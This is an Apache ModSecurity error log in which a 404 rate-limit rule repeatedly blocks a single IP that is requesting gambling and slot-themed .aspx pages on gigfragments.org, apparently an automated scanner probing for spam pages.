[Sun Feb 22 02:18:26.040201 2026] [:error] [pid 4789:tid 4811] [client 51.83.237.175:54996] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "aZn28q9_231lp37V1xxfSQAAARQ"]
[Sun Feb 22 02:18:28.091822 2026] [:error] [pid 3195:tid 3457] [client 51.83.237.175:40226] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "aZn29A28anZ1nWyZCI5NrQAAAFI"]
[Sun Feb 22 02:18:30.355450 2026] [:error] [pid 4789:tid 4813] [client 51.83.237.175:40240] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "aZn29q9_231lp37V1xxfUgAAARY"]
[Sun Feb 22 02:18:32.631530 2026] [:error] [pid 3516:tid 3520] [client 51.83.237.175:40254] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "aZn2-EtaWLejEJFWY3FJAgAAAME"]
[Sun Feb 22 02:18:34.956046 2026] [:error] [pid 4789:tid 4805] [client 51.83.237.175:40260] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "aZn2-q9_231lp37V1xxfWQAAAQ4"]
[Sun Feb 22 02:18:37.183539 2026] [:error] [pid 3179:tid 3435] [client 51.83.237.175:50018] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "aZn2_dgAWCcL8bTGJUU14AAAABc"]
[Sun Feb 22 02:18:39.341158 2026] [:error] [pid 4789:tid 4804] [client 51.83.237.175:50028] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "aZn2_69_231lp37V1xxfXgAAAQ0"]
[Sun Feb 22 02:18:41.437821 2026] [:error] [pid 3516:tid 3536] [client 51.83.237.175:50036] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "aZn3AUtaWLejEJFWY3FJGAAAANE"]
[Sun Feb 22 02:18:43.809490 2026] [:error] [pid 3516:tid 3529] [client 51.83.237.175:50048] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "aZn3A0taWLejEJFWY3FJIQAAAMo"]
[Sun Feb 22 02:18:45.916628 2026] [:error] [pid 3195:tid 3450] [client 51.83.237.175:50064] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "aZn3BQ28anZ1nWyZCI5NxAAAAEs"]
[Sun Feb 22 02:18:47.805863 2026] [:error] [pid 3179:tid 3413] [client 51.83.237.175:55056] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "aZn3B9gAWCcL8bTGJUU15wAAAAE"]
[Sun Feb 22 02:18:49.705608 2026] [:error] [pid 3179:tid 3429] [client 51.83.237.175:55072] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "aZn3CdgAWCcL8bTGJUU16AAAABE"]
[Sun Feb 22 02:18:51.609659 2026] [:error] [pid 3516:tid 3525] [client 51.83.237.175:55074] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "aZn3C0taWLejEJFWY3FJRgAAAMY"]
[Sun Feb 22 02:18:53.571464 2026] [:error] [pid 3179:tid 3421] [client 51.83.237.175:55076] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "aZn3DdgAWCcL8bTGJUU16gAAAAk"]
[Sun Feb 22 02:18:55.388894 2026] [:error] [pid 4789:tid 4794] [client 51.83.237.175:55092] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "aZn3D69_231lp37V1xxfbQAAAQM"]
[Sun Feb 22 02:18:57.279732 2026] [:error] [pid 4789:tid 4793] [client 51.83.237.175:35156] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "aZn3Ea9_231lp37V1xxfcAAAAQI"]
[Sun Feb 22 02:18:59.337076 2026] [:error] [pid 3204:tid 3481] [client 51.83.237.175:35160] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "aZn3E3AwnUMG8727rz4hGAAAAI8"]
[Sun Feb 22 02:19:01.240702 2026] [:error] [pid 3195:tid 3440] [client 51.83.237.175:35168] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "aZn3FQ28anZ1nWyZCI5N8QAAAEE"]
[Sun Feb 22 02:19:03.132915 2026] [:error] [pid 4789:tid 4811] [client 51.83.237.175:35178] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "aZn3F69_231lp37V1xxffgAAARQ"]
[Sun Feb 22 02:19:05.025413 2026] [:error] [pid 4789:tid 4807] [client 51.83.237.175:35186] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aZn3Ga9_231lp37V1xxfgQAAARA"]
[Sun Feb 22 02:19:06.980748 2026] [:error] [pid 3195:tid 3442] [client 51.83.237.175:35398] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aZn3Gg28anZ1nWyZCI5N-gAAAEM"]
[Sun Feb 22 02:19:08.882730 2026] [:error] [pid 3179:tid 3431] [client 51.83.237.175:35402] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "aZn3HNgAWCcL8bTGJUU2AQAAABM"]
[Sun Feb 22 02:19:10.793045 2026] [:error] [pid 3179:tid 3415] [client 51.83.237.175:35414] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "aZn3HtgAWCcL8bTGJUU2CAAAAAM"]
[Sun Feb 22 02:19:12.678106 2026] [:error] [pid 4789:tid 4791] [client 51.83.237.175:35428] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "aZn3IK9_231lp37V1xxfigAAAQA"]
[Sun Feb 22 02:19:14.721862 2026] [:error] [pid 3195:tid 3454] [client 51.83.237.175:35430] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "aZn3Ig28anZ1nWyZCI5OAQAAAE8"]
[Sun Feb 22 02:19:16.837347 2026] [:error] [pid 4789:tid 4794] [client 51.83.237.175:33974] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "aZn3JK9_231lp37V1xxfnQAAAQM"]
[Sun Feb 22 02:19:18.723939 2026] [:error] [pid 3516:tid 3542] [client 51.83.237.175:33980] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "aZn3JktaWLejEJFWY3FJqwAAANc"]
[Sun Feb 22 02:19:20.778650 2026] [:error] [pid 3204:tid 3477] [client 51.83.237.175:33984] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "aZn3KHAwnUMG8727rz4hOwAAAIs"]
[Sun Feb 22 02:19:22.816201 2026] [:error] [pid 4789:tid 4807] [client 51.83.237.175:33992] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "aZn3Kq9_231lp37V1xxfqQAAARA"]
[Sun Feb 22 02:19:57.620990 2026] [:error] [pid 3195:tid 3449] [client 51.83.237.175:34006] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20789.aspx"] [unique_id "aZn3TQ28anZ1nWyZCI5OOgAAAEo"]
[Sun Feb 22 02:19:59.586067 2026] [:error] [pid 3204:tid 3484] [client 51.83.237.175:37920] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aZn3T3AwnUMG8727rz4hbQAAAJI"]
[Sun Feb 22 02:20:01.515527 2026] [:error] [pid 3179:tid 3415] [client 51.83.237.175:37928] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aZn3UdgAWCcL8bTGJUU2RgAAAAM"]
[Sun Feb 22 02:20:03.531368 2026] [:error] [pid 3179:tid 3423] [client 51.83.237.175:37932] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aZn3U9gAWCcL8bTGJUU2TAAAAAs"]
[Sun Feb 22 02:20:05.615729 2026] [:error] [pid 3204:tid 3466] [client 51.83.237.175:37940] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20game.aspx"] [unique_id "aZn3VXAwnUMG8727rz4hfQAAAIA"]
[Sun Feb 22 02:20:07.647585 2026] [:error] [pid 4789:tid 4792] [client 51.83.237.175:40610] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aZn3V69_231lp37V1xxgBwAAAQE"]
[Sun Feb 22 02:20:09.659144 2026] [:error] [pid 3516:tid 3525] [client 51.83.237.175:40624] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aZn3WUtaWLejEJFWY3FJ3QAAAMY"]
[Sun Feb 22 02:20:11.684324 2026] [:error] [pid 4789:tid 4793] [client 51.83.237.175:40634] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aZn3W69_231lp37V1xxgGwAAAQI"]
[Sun Feb 22 02:20:13.581356 2026] [:error] [pid 3204:tid 3481] [client 51.83.237.175:40640] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "aZn3XXAwnUMG8727rz4hhgAAAI8"]
[Sun Feb 22 02:20:15.600169 2026] [:error] [pid 3516:tid 3536] [client 51.83.237.175:40648] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "aZn3X0taWLejEJFWY3FJ7QAAANE"]
[Sun Feb 22 02:20:17.604128 2026] [:error] [pid 3204:tid 3471] [client 51.83.237.175:39826] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "aZn3YXAwnUMG8727rz4hiAAAAIU"]
[Sun Feb 22 02:20:19.541763 2026] [:error] [pid 3195:tid 3449] [client 51.83.237.175:39842] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "aZn3Yw28anZ1nWyZCI5OXQAAAEo"]
[Sun Feb 22 02:20:21.551084 2026] [:error] [pid 3195:tid 3447] [client 51.83.237.175:39846] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "aZn3ZQ28anZ1nWyZCI5OYgAAAEg"]
[Sun Feb 22 02:20:23.585473 2026] [:error] [pid 3204:tid 3490] [client 51.83.237.175:39848] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "aZn3Z3AwnUMG8727rz4hjwAAAJg"]
[Sun Feb 22 02:20:25.624444 2026] [:error] [pid 3195:tid 3453] [client 51.83.237.175:39852] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "aZn3aQ28anZ1nWyZCI5OaAAAAE4"]
[Sun Feb 22 02:20:27.680614 2026] [:error] [pid 3179:tid 3436] [client 51.83.237.175:54652] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "aZn3a9gAWCcL8bTGJUU2bgAAABg"]
[Sun Feb 22 02:20:29.585729 2026] [:error] [pid 3204:tid 3469] [client 51.83.237.175:54664] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "aZn3bXAwnUMG8727rz4hlQAAAIM"]
[Sun Feb 22 02:20:31.517848 2026] [:error] [pid 3204:tid 3467] [client 51.83.237.175:54680] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "aZn3b3AwnUMG8727rz4hmgAAAIE"]
[Sun Feb 22 02:20:33.419174 2026] [:error] [pid 4789:tid 4811] [client 51.83.237.175:54692] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "aZn3ca9_231lp37V1xxgSAAAARQ"]
[Sun Feb 22 02:20:35.476041 2026] [:error] [pid 4789:tid 4799] [client 51.83.237.175:54694] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "aZn3c69_231lp37V1xxgUAAAAQg"]
[Sun Feb 22 02:20:37.364074 2026] [:error] [pid 4789:tid 4815] [client 51.83.237.175:57018] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "aZn3da9_231lp37V1xxgVAAAARg"]
[Sun Feb 22 02:20:39.397249 2026] [:error] [pid 3195:tid 3451] [client 51.83.237.175:57030] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "aZn3dw28anZ1nWyZCI5OcgAAAEw"]
[Sun Feb 22 02:20:41.411202 2026] [:error] [pid 3204:tid 3486] [client 51.83.237.175:57040] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "aZn3eXAwnUMG8727rz4hrgAAAJQ"]
[Sun Feb 22 02:20:43.290277 2026] [:error] [pid 3204:tid 3480] [client 51.83.237.175:57056] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "aZn3e3AwnUMG8727rz4hswAAAI4"]
[Sun Feb 22 02:20:45.318064 2026] [:error] [pid 3516:tid 3538] [client 51.83.237.175:57058] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "aZn3fUtaWLejEJFWY3FKHAAAANM"]
[Sun Feb 22 02:20:47.290003 2026] [:error] [pid 3204:tid 3473] [client 51.83.237.175:54892] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "aZn3f3AwnUMG8727rz4htgAAAIc"]
